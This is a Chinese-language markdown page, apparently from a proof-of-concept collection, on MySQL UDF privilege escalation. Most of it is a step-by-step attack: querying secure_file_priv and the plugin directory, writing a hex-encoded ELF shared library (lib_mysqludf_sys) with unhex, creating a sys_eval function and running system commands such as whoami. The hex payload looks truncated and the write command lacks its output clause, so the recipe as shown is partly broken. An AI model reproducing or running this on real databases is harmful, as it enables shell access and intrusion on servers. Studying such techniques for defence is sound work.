mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-06 19:38:09 +00:00
89 lines
23 KiB
Markdown
89 lines
23 KiB
Markdown
|
|
# MySQL UDF 提权漏洞
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
UDF 是 MySQL 的一个共享库,通过 udf 创建能够执行系统命令的函数 sys_exec、sys_eval,使得入侵者能够获得一般情况下无法获得的 shell 执行权限。
|
|||
|
|
|
|||
|
|
参考链接:
|
|||
|
|
|
|||
|
|
- https://github.com/mysqludf/lib_mysqludf_sys
|
|||
|
|
- https://www.sqlsec.com/2020/11/mysql.html#%E5%86%99%E5%85%A5%E5%8A%A8%E6%80%81%E9%93%BE%E6%8E%A5%E5%BA%93
|
|||
|
|
|
|||
|
|
## 漏洞影响
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
|
|||
|
|
在 MySQL 5.5 之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
查看 `secure_file_priv`:
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
mysql> show global variables like '%secure_file_priv%';
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
寻找插件目录,将 UDF 的动态链接库文件放到 MySQL 的插件目录:
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
mysql> show variables like '%plugin%';
|
|||
|
|
+---------------+-------------------------+
|
|||
|
|
| Variable_name | Value |
|
|||
|
|
+---------------+-------------------------+
|
|||
|
|
| plugin_dir | /usr/lib64/mysql/plugin |
|
|||
|
|
+---------------+-------------------------+
|
|||
|
|
1 row in set (0.00 sec)
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
检查是否已经有人导出过了:
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
mysql> select * from func;
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
写入动态链接库,需要有/usr/lib64/mysql/plugin/目录的写入权限:
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
mysql> select unhex('7F454C4602010100000000000000000003003E0001000000800A000000000000400000000000000058180000000000000000000040003800060040001C0019000100000005000000000000000000000000000000000000000000000000000000C414000000000000C41400000000000000002000000000000100000006000000C814000000000000C814200000000000C8142000000000004802000000000000580200000000000000002000000000000200000006000000F814000000000000F814200000000000F814200000000000800100000000000080010000000000000800000000000000040000000400000090010000000000009001000000000000900100000000000024000000000000002400000000000000040000000000000050E574640400000044120000000000004412000000000000441200000000000084000000000000008400000000000000040000000000000051E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000040000001400000003000000474E5500D7FF1D94176ABA0C150B4F3694D2EC995AE8E1A8000000001100000011000000020000000700000080080248811944C91CA44003980468831100000013000000140000001600000017000000190000001C0000001E000000000000001F00000000000000200000002100000022000000230000002400000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED971581CA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF3B9FD4A0AD73D1C50B5911FEAB5FBE1200000000000000000000000000000000000000000000000000000000000000000300090088090000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000CD00000012000000000000000000000000000000000000001E0100001200000000000000000000000000000000000000620100001200000000000000000000000000000000000000E30000001200000000000000000000000000000000000000B90000001200000000000000000000000000000000000000680100001200000000000000000000000000000000000000160000002200000000000000000000000000000000000000540000001200000000000000000000000000000000000000F00000001200000000000000000000000000000000000000B200000012000000000000000000000000000000000000005A01000012000000000000000000000000000000000000005201000012000000000000000000000000000000000000004C0100001200000000000000000000000000000000000000E800000012000B00D10D000000000000D1000000000000003301000012000B00A90F0000000000000A000000000000001000000012000C00481100000000000000000000000000007800000012000B009F0B0000000000004C00000000000000FF0000001200090088090000000000000000000000000000800100001000F1FF101720000000000000000000000000001501000012000B00130F0000000000002F000000000000008C0100001000F1FF201720000000000000000000000000009B00000012000B00480C0000000000000A000000000000002501000012000B00420F0000000000006700000000000000AA00000012000B00520C00000000000063000000000000005B00000012000B00950B0000000000000A000000000000008E00000012000B00EB0B0000000000005D00000000000000790100001000F1FF101720000000000000000000000000000501000012000B00090F0000000000000A00000000000000C000000012000B00B50C000000000000F100000000000000F700000012000B00A20E00000000000067000000000000003900000012000B004C0B0000000000004900000000000000D400000012000B00A60D0000000000002B000000000000004301000012000B00B30F0000000000005501000000000000005F5F676D6F6E5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C6173736573006C69625F6D7973716C7564665F7379735F696E666F5F696E6974006D656D637079006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974006C69625F6D7973716C7564665F7379735F696E666F007379735F6765745F696E6974007379735F6765745F6465696E6974007379735F67657400676574656E76007374726C656E007379735F7365745F696E6974006D616C6C6F63007379735F7365745F6465696E69740066726565007379735F73657400736574656E76007379735F657865635F696E6974007379735F657865635F6465696E6974007379735F657865630073797374656D007379735F6576616C5F696E6974007379735F6576616C5F6465696E6974007379735F6576616C00706F70656E007265616C6C6F63007374726E6370790066676574730070636C6F7365006C6962632E736F2E36005F6564617461005F5F6273735F7374617274005F656E6400474C4942435F322E322E3500000000000000000000020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001006F0100001000000000000000751A6909000002009101000000000000F014200000
|
|||
|
|
Query OK, 1 row affected (0.01 sec)
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
创建自定义函数:
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
mysql> create function sys_eval returns string soname 'mysqludf.so';
|
|||
|
|
Query OK, 0 rows affected (0.00 sec)
|
|||
|
|
|
|||
|
|
mysql> select * from func;
|
|||
|
|
+----------+-----+-------------+----------+
|
|||
|
|
| name | ret | dl | type |
|
|||
|
|
+----------+-----+-------------+----------+
|
|||
|
|
| sys_eval | 0 | mysqludf.so | function |
|
|||
|
|
+----------+-----+-------------+----------+
|
|||
|
|
1 row in set (0.00 sec)
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
通过创建的自定义函数执行系统命令:
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
mysql> select sys_eval('whoami');
|
|||
|
|
+--------------------+
|
|||
|
|
| sys_eval('whoami') |
|
|||
|
|
+--------------------+
|
|||
|
|
| mysql
|
|||
|
|
|
|
|||
|
|
+--------------------+
|
|||
|
|
1 row in set (0.03 sec)
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
删除自定义函数:
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
mysql> drop function sys_eval;
|
|||
|
|
Query OK, 0 rows affected (0.00 sec)
|
|||
|
|
|
|||
|
|
mysql> select * from func;
|
|||
|
|
Empty set (0.00 sec)
|
|||
|
|
```
|